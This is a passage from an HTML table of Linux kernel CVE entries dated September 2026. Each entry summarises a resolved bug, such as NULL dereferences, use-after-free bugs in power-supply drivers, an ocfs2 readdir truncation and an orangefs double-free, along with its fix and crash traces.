driver. Build-tested and boot-tested on StarFive VisionFive v1.2A board&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89455&quot; target=&quot;_blank&quot;&gt;CVE-2026-89455&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: s390/dasd: Guard sysfs discipline callbacks against unallocated private data Several sysfs show/store handlers call a discipline callback that dereferences device-&amp;gt;private, either directly or through the DASD_DEFINE_ATTR() macro. During dasd_generic_set_online() the discipline is assigned before check_device() allocates device-&amp;gt;private, so an unprivileged read of one of these world-readable attributes in that window dereferences a NULL pointer and panics. Guard the dereference inside each callback that actually touches device-&amp;gt;private.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89457&quot; target=&quot;_blank&quot;&gt;CVE-2026-89457&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: s390/dasd: Do not complete a failed ESE read as successful dasd_int_handler() completes an NRF read of an unallocated ESE track by calling ese_read() and unconditionally marking the request DASD_CQR_SUCCESS. dasd_eckd_ese_read() can return an error before it has zeroed the destination buffer: a failed sense-data parse or a current track outside the requested range both return early, leaving the destination pages untouched. The request is still completed successfully, so the block layer is handed stale / uninitialized memory instead of zeros. Check the ese_read() return value and fail the request through the normal error path instead of forcing DASD_CQR_SUCCESS.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89458&quot; target=&quot;_blank&quot;&gt;CVE-2026-89458&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: s390/cpum_cf: Handle CPU hotplug via prepare/dead callbacks The command &#039;perf stat -e cycles -- &amp;lt;command&amp;gt;&#039; crashes the kernel when CPUs are hotplug added during that run. Root cause is the allocation of struct cpu_cf_events at first event initialization. The allocation is dynamic and the first event that has task context creates such a structure for each online CPU. This is not sufficient. CPUs may be offline during event creation and can be set online during the perf run time. For example commands # echo 0 &amp;gt; /sys/devices/system/cpu/cpu1/online # perf stat -e cycles -i -- stress-ng -t10s --matrix X # sleep 1 # echo 1 &amp;gt; /sys/devices/system/cpu/cpu1/online create an event for CPUs 0,2-X. Since the events are created with task-context, the scheduler will eventually schedule the program on CPU1. This CPU has not created and initialized any per CPU event infrastructure as that CPU was not online at the time of the perf invocation. Thus when the scheduler runs stress-ng on CPU1, the function cpumf_pmu_add() refers to a NULL pointer: struct cpu_cf_events *cpuhw = this_cpu_cfhw(); This function call is invoked after the task stress-ng has been made runnable on CPU1. And this_cpu_cfhw() returns NULL. The result is a panic: Unable to handle kernel pointer dereference in virtual kernel address space Failing address: 0000000000000000 TEID: 0000000000000483 .... Krnl PSW : 0404d00180000000 000003ef8291fd0c (cpumf_pmu_add+0x3c/0x80) .... Call Trace: [&amp;lt;000003ef8291fd0c&amp;gt;] cpumf_pmu_add+0x3c/0x80 [&amp;lt;000003ef82bb5e3e&amp;gt;] event_sched_in+0xae/0x190 [&amp;lt;000003ef82bb60d6&amp;gt;] merge_sched_in+0x1b6/0x390 [&amp;lt;000003ef82bb65b8&amp;gt;] visit_groups_merge.constprop.0.isra.0+0x308/0x5b0 [&amp;lt;000003ef82bb689a&amp;gt;] pmu_groups_sched_in+0x3a/0x50 [&amp;lt;000003ef82bb6a30&amp;gt;] ctx_sched_in+0x180/0x260 [&amp;lt;000003ef82bb780c&amp;gt;] perf_event_context_sched_in+0x11c/0x2d0 [&amp;lt;000003ef82bb79ee&amp;gt;] __perf_event_task_sched_in+0x2e/0xc0 [&amp;lt;000003ef82994834&amp;gt;] finish_task_switch.isra.0+0x1a4/0x250 .... Last Breaking-Event-Address: [&amp;lt;000003ef8291f1d8&amp;gt;] this_cpu_cfhw+0x38/0x40 The issue arises only in per-task context when the CPUMF facility is used and the scheduler picks a random CPU for such a process to run on. The scheduler enables the CPUMF infrastructure via PMU callback functions pmu::add() and pmu::del(). Introduce a CPU hotplug prepare/dead callback pair which creates and removes the per CPU counter data while the CPU is offline. Count the users which track every CPU (cpu == -1), that is perf_event_open() events with task context and /dev/hwctr device sessions, in the new counter cpu_cf_root::tskcnt, protected by pmc_reserve_mutex. This ensures the infrastructure is available when new CPU is selected to run the per-task context process. In cpum_cf_free_root() and cpum_cf_free_cpu() ensure the reference pointer to data structures is set to NULL before the data is freed to prevent interrupt handlers to access stale data. [gor@linux.ibm.com: change commit message]&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89460&quot; target=&quot;_blank&quot;&gt;CVE-2026-89460&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: power: supply: max17040: synchronize work cancellation on suspend max17040_work() requeues itself after every poll. cancel_delayed_work() only cancels a pending instance and does not wait for a callback that is already running. If system suspend races with the polling callback, the callback can continue accessing the fuel gauge and requeue itself after the suspend callback returns. Use cancel_delayed_work_sync() to ensure polling is quiesced before suspend completes.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89461&quot; target=&quot;_blank&quot;&gt;CVE-2026-89461&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: power: supply: max17040: propagate register read errors max17040_get_vcell() and max17040_get_soc() ignore errors returned by regmap_read(). When an I2C transfer fails, the uninitialized register value is converted and reported to userspace as a valid voltage or state of charge. The polling worker can also replace the cached state of charge with the bogus value and emit a spurious change event. Propagate read errors through the power supply get_property callback and keep the last valid cached state of charge when polling fails.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89462&quot; target=&quot;_blank&quot;&gt;CVE-2026-89462&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: power: supply: ucs1002: fix use-after-free on remove ucs1002 has no remove callback, so unbind runs entirely through devm. The alert IRQ handler queues the health_poll delayed work, and the work reschedules itself while the chip reports a bad-health condition. devm frees the alert IRQ, which only synchronizes the handler; it does not cancel the delayed work, which can then run after devm frees the driver data and dereference it. Register health_poll with devm_delayed_work_autocancel() before the alert IRQ is requested. devm then frees the IRQ before cancelling the work, so the handler can no longer queue it and the work is cancelled before the driver data is freed. This issue was found by an in-house static analysis tool.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89463&quot; target=&quot;_blank&quot;&gt;CVE-2026-89463&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: power: supply: twl4030_charger: cancel workers via devm bci is devm-allocated. Two workers (bci-&amp;gt;work and bci-&amp;gt;current_worker) dereference it. twl4030_bci_remove() disables charging and masks interrupts. It cancels neither worker. A worker pending at remove() can run after devm frees bci. The USB transceiver comes from devm_usb_get_phy_by_node(). devm unregisters its notifier only after remove() returns. A cancel_work_sync() in remove() can then race a notifier reschedule. devm_work_autocancel() and devm_delayed_work_autocancel() avoid that. They cancel the workers during devm release, before bci is freed. The current_worker is registered first, since devm will cancel in reverse order and bci-&amp;gt;work can reschedule current_worker. [Move comment about order into the commit message]&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89464&quot; target=&quot;_blank&quot;&gt;CVE-2026-89464&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: power: supply: qcom_battmgr: fix use-after-free qcom_battmgr_pdr_notify() queues enable_work when the PMIC GLINK service comes up, and the worker recovers battmgr through container_of() to issue firmware requests. The PMIC GLINK client stays on the client list until its devres release action runs, so a PDR notification can keep queueing the work, and a pending or running worker can access battmgr after devres frees it. Make enable_work device-managed with devm_work_autocancel(), registered before the PMIC GLINK client is allocated. The devres cleanup then releases the client first, so no further notification can queue the work, and cancels the work before battmgr is freed. This issue was found by an in-house static analysis tool.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89467&quot; target=&quot;_blank&quot;&gt;CVE-2026-89467&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: power: supply: lp8788-charger: fix use-after-free on remove lp8788_charger_remove() flushes charger_work before unregistering the IRQs. An IRQ thread can queue charger_work after flush_work() has returned. The work can then run after devres frees pchg and dereference it in lp8788_charger_event(). Unregister the IRQs first. free_irq() waits for any running threaded handler, so no handler can queue more work afterwards. Then use cancel_work_sync() to cancel pending work or wait for running work to finish. This issue was found by an in-house static analysis tool.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89468&quot; target=&quot;_blank&quot;&gt;CVE-2026-89468&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: power: supply: bq25890: Fix power_supply reference leak bq25890_fw_probe() acquires a reference to a secondary charger using power_supply_get_by_name(), but the reference is not released on later probe failures or on driver detach. In particular, failures after bq25890_fw_probe() returns successfully, such as a failure in bq25890_hw_init(), also leak the reference. Register a device-managed cleanup action immediately after acquiring the secondary charger. This releases the reference on all subsequent probe failures and on driver detach. Found by code review.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89473&quot; target=&quot;_blank&quot;&gt;CVE-2026-89473&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: power: supply: bq256xx: drain usb_work before freeing the charger The USB-PHY notifier queues usb_work, whose handler calls power_supply_changed(bq-&amp;gt;charger). The reset devm action only unregisters the notifier and was registered before the power supplies, so devm frees bq-&amp;gt;charger on unwind before the action runs; a usb_work still queued can then dereference it. Register the reset action after the power supplies, so it unregisters the notifiers and drains usb_work before the supplies are released. Initialize usb_work and obtain the PHY references before registering the notifiers, so the worker cannot run before the supplies exist. Found by static analysis.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89474&quot; target=&quot;_blank&quot;&gt;CVE-2026-89474&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: power: supply: bq24257: fix use-after-free on remove The STAT-pin interrupt is devm-managed, so it stays armed until the devm cleanup that runs after remove() returns. remove() cancels bq-&amp;gt;iilimit_setup_work while the threaded handler can still fire; that handler reschedules the work and dereferences bq, so the work runs against freed memory once devm frees bq. Make the delayed work device-managed with devm_delayed_work_autocancel(), registered before the interrupt request. The devm cleanup then releases the interrupt first, so the handler can no longer reschedule the work, and cancels the work before bq is freed. The explicit cancel_delayed_work_sync() in remove() is no longer needed and is dropped. Found by static analysis.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89475&quot; target=&quot;_blank&quot;&gt;CVE-2026-89475&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: lockd: fix NULL dereference on lockowner allocation failure nlmclnt_locks_init_private() installs NLM file lock operations even when nlmclnt_find_lockowner() fails to allocate a lockowner. nlmclnt_proc() then returns -ENOMEM, but the VFS still tears down the partially initialized file_lock and calls locks_release_private(). That invokes nlmclnt_locks_release_private(), which dereferences fl-&amp;gt;fl_u.nfs_fl.owner and crashes because the owner was never installed. Clear fl_ops before attempting to initialize the NLM private state, and install the NLM lock operations only after a lockowner has been allocated successfully.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89484&quot; target=&quot;_blank&quot;&gt;CVE-2026-89484&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ocfs2: fix readdir position truncation on 32-bit kernels In ocfs2_dir_foreach_blk_el(), the directory cookie position is rebuilt with ctx-&amp;gt;pos = (ctx-&amp;gt;pos &amp;amp; ~(sb-&amp;gt;s_blocksize - 1)) | offset; `ctx-&amp;gt;pos` is loff_t (signed 64-bit), while `sb-&amp;gt;s_blocksize` is unsigned long. On 32-bit kernels unsigned long is 32-bit, so the mask ~(sb-&amp;gt;s_blocksize - 1) is computed as a 32-bit unsigned value (e.g. 0xfffff000 for a 4 KiB block size). In the AND expression with the 64-bit `ctx-&amp;gt;pos`, that unsigned operand is zero-extended to 64 bits per the usual arithmetic conversions, yielding 0x00000000fffff000. The high 32 bits of `ctx-&amp;gt;pos` are silently cleared, even though directory size is allowed to exceed 4 GiB. When readdir() crosses the 4 GiB boundary on a 32-bit kernel the position is reset back into the first 4 GiB block, making the re-validation path re-enumerate already-returned dirents indefinitely. This is ocfs2_dir_foreach_blk_el(), the extent-list readdir path taken for all non-inline directories, so a directory large enough to cross 4 GiB reaches it. This is the same class of bug that commit 3dce5bb82c97 (&quot;exfat: Fix bitwise operation having different size&quot;) fixed in exfat, and the fix mirrors the equivalent ext4 fix in this series. Cast the operand to loff_t so the mask is 64-bit before the AND: ctx-&amp;gt;pos = (ctx-&amp;gt;pos &amp;amp; ~((loff_t)sb-&amp;gt;s_blocksize - 1)) | offset; 64-bit kernels are unaffected.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89490&quot; target=&quot;_blank&quot;&gt;CVE-2026-89490&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ocfs2: cluster: don&#039;t sleep while holding o2hb_live_lock in o2hb_region_pin() Patch series &quot;ocfs2: cluster: o2hb_region_pin() fixes&quot;, v2. This series fixes three related issues in o2hb_region_pin(), all are from the original implementation in commit: 58a3158a5d17 (&quot;ocfs2/cluster: Pin/unpin o2hb regions&quot;): 1) It is called with o2hb_live_lock (a spinlock) held, but the underlying configfs_depend_item() sleeps (takes inode rwsem and pins the filesystem). This triggers BUG under CONFIG_DEBUG_ATOMIC_SLEEP. 2) When called from the configfs drop_item callback, it creates a lock order inversion: parent inode_lock -&amp;gt; configfs root inode_lock, which can deadlock against subsystem unregistration paths taking root -&amp;gt; parent. 3) If pinning fails partway through o2hb_region_inc_user(), the o2hb_dependent_users counter is leaked and partially-pinned regions are never released, leaving heartbeat regions unprotected on subsequent mounts. Patch 1 reworks o2hb_region_pin() to drop o2hb_live_lock across each sleeping configfs_depend_item() call, using a config_item reference to keep the region alive while unlocked. Patch 2 adds a from_callback parameter to select configfs_depend_item_unlocked() when called from configfs context, avoiding the inode_lock nesting. Patch 3 fixes the error path in o2hb_region_inc_user() to unpin and decrement the counter on failure. This patch (of 3): o2hb_region_pin() is always called with the o2hb_live_lock spinlock held (from o2hb_region_inc_user() and o2hb_heartbeat_group_drop_item()), but it calls o2nm_depend_item() -&amp;gt; configfs_depend_item(), which sleeps: it pins the configfs filesystem and takes the configfs root inode rwsem. Under CONFIG_DEBUG_ATOMIC_SLEEP this triggers: BUG: sleeping function called from invalid context at kernel/locking/rwsem.c in_atomic(): 1, ... name: mount.ocfs2 down_write configfs_depend_item o2hb_region_pin o2hb_region_inc_user o2hb_register_callback dlm_register_domain_handlers ... ocfs2_dlm_init ocfs2_mount_volume ocfs2_fill_super Rework o2hb_region_pin() to pin one region at a time with the lock dropped across the sleeping call: under o2hb_live_lock find the next eligible region and take a config_item reference to keep it alive, drop the lock, call o2nm_depend_item(), then retake the lock and record the pin. The config_item_put() is done with the lock released as well, since o2hb_region_release() also acquires o2hb_live_lock and can sleep. The region list may change while unlocked, so the scan restarts from the top after each pin. Local heartbeat still pins only the matching region; global heartbeat pins all eligible regions. The unpin path is unaffected: configfs_undepend_item() only takes a spinlock and does not sleep.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89491&quot; target=&quot;_blank&quot;&gt;CVE-2026-89491&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ocfs2: always run deallocs on copy-on-write completion Local fuzzing of 6.12.94 has found the following memory leak caused by doing &#039;copy_file_range()&#039; within the same filesystem: unreferenced object 0xffff88812192c980 (size 32): comm &quot;syz.0.49&quot;, pid 12095, jiffies 4294964143 hex dump (first 32 bytes): 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 ................ c0 c5 92 21 81 88 ff ff 00 02 00 00 00 06 00 00 ...!............ backtrace (crc 7068d63f): kmemleak_alloc_recursive include/linux/kmemleak.h:42 [inline] slab_post_alloc_hook mm/slub.c:4152 [inline] slab_alloc_node mm/slub.c:4197 [inline] __kmalloc_cache_noprof+0x168/0x2c0 mm/slub.c:4358 kmalloc_noprof include/linux/slab.h:878 [inline] ocfs2_find_per_slot_free_list fs/ocfs2/alloc.c:6618 [inline] ocfs2_cache_block_dealloc+0x155/0x4b0 fs/ocfs2/alloc.c:6786 ocfs2_cache_extent_block_free fs/ocfs2/alloc.c:6819 [inline] ocfs2_unlink_path+0x286/0x450 fs/ocfs2/alloc.c:2613 ocfs2_rotate_subtree_left fs/ocfs2/alloc.c:2779 [inline] __ocfs2_rotate_tree_left+0x1f6f/0x2da0 fs/ocfs2/alloc.c:2985 ocfs2_rotate_tree_left+0x283/0xe00 fs/ocfs2/alloc.c:3237 ocfs2_try_to_merge_extent+0xf56/0x1a20 fs/ocfs2/alloc.c:3825 ocfs2_split_extent+0x15f4/0x2940 fs/ocfs2/alloc.c:5138 ocfs2_clear_ext_refcount+0x2f6/0x550 fs/ocfs2/refcounttree.c:3098 ocfs2_replace_clusters fs/ocfs2/refcounttree.c:3131 [inline] ocfs2_make_clusters_writable fs/ocfs2/refcounttree.c:3255 [inline] ocfs2_replace_cow+0x991/0x1660 fs/ocfs2/refcounttree.c:3349 ocfs2_refcount_cow_hunk fs/ocfs2/refcounttree.c:3427 [inline] ocfs2_refcount_cow+0x5e1/0x9f0 fs/ocfs2/refcounttree.c:3470 ocfs2_prepare_inode_for_write fs/ocfs2/file.c:2340 [inline] ocfs2_file_write_iter+0xbda/0x1880 fs/ocfs2/file.c:2451 iter_file_splice_write+0x890/0xf60 fs/splice.c:743 do_splice_from fs/splice.c:944 [inline] direct_splice_actor+0x232/0x480 fs/splice.c:1167 splice_direct_to_actor+0x4b4/0xb60 fs/splice.c:1111 do_splice_direct_actor fs/splice.c:1210 [inline] do_splice_direct+0x10f/0x1c0 fs/splice.c:1236 do_sendfile+0x430/0xbf0 fs/read_write.c:1388 unreferenced object 0xffff88812192c5c0 (size 32): comm &quot;syz.0.49&quot;, pid 12095, jiffies 4294964143 hex dump (first 32 bytes): 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 29 70 00 00 00 00 00 00 19 00 00 00 00 00 00 00 )p.............. backtrace (crc afec850f): kmemleak_alloc_recursive include/linux/kmemleak.h:42 [inline] slab_post_alloc_hook mm/slub.c:4152 [inline] slab_alloc_node mm/slub.c:4197 [inline] __kmalloc_cache_noprof+0x168/0x2c0 mm/slub.c:4358 kmalloc_noprof include/linux/slab.h:878 [inline] kzalloc_noprof include/linux/slab.h:1014 [inline] ocfs2_cache_block_dealloc+0x25c/0x4b0 fs/ocfs2/alloc.c:6793 ocfs2_cache_extent_block_free fs/ocfs2/alloc.c:6819 [inline] ocfs2_unlink_path+0x286/0x450 fs/ocfs2/alloc.c:2613 ocfs2_rotate_subtree_left fs/ocfs2/alloc.c:2779 [inline] __ocfs2_rotate_tree_left+0x1f6f/0x2da0 fs/ocfs2/alloc.c:2985 ocfs2_rotate_tree_left+0x283/0xe00 fs/ocfs2/alloc.c:3237 ocfs2_try_to_merge_extent+0xf56/0x1a20 fs/ocfs2/alloc.c:3825 ocfs2_split_extent+0x15f4/0x2940 fs/ocfs2/alloc.c:5138 ocfs2_clear_ext_refcount+0x2f6/0x550 fs/ocfs2/refcounttree.c:3098 ocfs2_replace_clusters fs/ocfs2/refcounttree.c:3131 [inline] ocfs2_make_clusters_writable fs/ocfs2/refcounttree.c:3255 [inline] ocfs2_replace_cow+0x991/0x1660 fs/ocfs2/refcounttree.c:3349 ocfs2_refcount_cow_hunk fs/ocfs2/refcounttree.c:3427 [inline] ocfs2_refcount_cow+0x5e1/0x9f0 fs/ocfs2/refcounttree.c:3470 ocfs2_prepare_inode_for_write fs/ocfs2/file.c:2340 [inline] ocfs2_file_write_iter+0xbda/0x1880 fs/ocfs2/file.c:2451 iter_file_splice_write+0x890/0xf60 fs/splice.c:743 do_splice_from fs/splice.c:9 ---truncated---&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89496&quot; target=&quot;_blank&quot;&gt;CVE-2026-89496&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: orangefs: fix double-free of trailer_buf on readdir copy failure On a readdir downcall, orangefs_devreq_write_iter() frees op-&amp;gt;downcall.trailer_buf with vfree() when copy_from_iter_full() fails, but does not clear the pointer before goto Efault. The waiter in do_readdir() is then woken with a negative status and frees the same pointer again on its r &amp;lt; 0 path, causing a deterministic double-free. A client holding /dev/pvfs2-req triggers it by sending a readdir downcall whose declared trailer_size exceeds the bytes it supplies. Clear the pointer after freeing so the readdir-side vfree() becomes a no-op.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89498&quot; target=&quot;_blank&quot;&gt;CVE-2026-89498&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ring-buffer: Free cpu_buffer::free_page with subbuf_order When sub-buffers use an order greater than 0, cpu_buffer-&amp;gt;free_page is allocated with subbuf_order. Use the correct order for cpu_buffer-&amp;gt;free_page.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89502&quot; target=&quot;_blank&quot;&gt;CVE-2026-89502&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/uverbs: Guard legacy bundles without method_elm The legacy write() path dispatches through a uverbs_api_write_method, but the uverbs_attr_bundle passed to provider code does not have an ioctl method element. If malformed provider input causes the common uverbs validation code to emit an error message, uverbs_get_handler_fn() dereferences the uninitialized method_elm pointer. Initialize method_elm explicitly for legacy bundles and make uverbs_get_handler_fn() return NULL when no ioctl method is present. The legacy dispatcher continues to use its local write method, while the ioctl path continues to use the registered ioctl handler.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89505&quot; target=&quot;_blank&quot;&gt;CVE-2026-89505&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/uverbs: Add UVERBS_ATTR_UHW to UVERBS_METHOD_REG_MR The original commit missed that three drivers (mthca, irdma, siw) have UHW data associated with reg_mr that cannot be passed through the ioctl. They also assume that the udata cannot be NULL, so failing to pass a valid udata can trigger a NULL udata crash in those drivers. This never happens in real systems since in rdma-core ibv_cmd_reg_mr_ex() does not accept a udata and those three drivers don&#039;t use it, however a malicious userspace could trigger it.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89506&quot; target=&quot;_blank&quot;&gt;CVE-2026-89506&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/ionic: Embed counter driver data in rdma_counter allocation Commit 7e53b31acc7f (&quot;RDMA/core: Create and destroy rdma_counter using rdma_zalloc_drv_obj()&quot;) requires drivers implementing counter ops to embed struct rdma_counter in a driver-specific struct, register its size via INIT_RDMA_OBJ_SIZE, and provide a counter_init callback. The ionic driver was merged without this adaptation, causing a NULL pointer dereference in alloc_and_bind() since rdma_zalloc_drv_obj() allocates zero bytes when size_rdma_counter is unset. Consolidate struct ionic_counter into a new struct ionic_rdma_counter that embeds struct rdma_counter, replace the xarray with a lightweight ida for ID allocation, and add the required counter_init and INIT_RDMA_OBJ_SIZE declarations.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89509&quot; target=&quot;_blank&quot;&gt;CVE-2026-89509&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: remoteproc: scp: Fix device reference leak on failed lookup Make sure to drop the reference taken to the SCP device when attempting to look up its driver data before the driver has been bound. Note that holding a reference to a device does not prevent its driver data from going away.&lt;/td&gt;
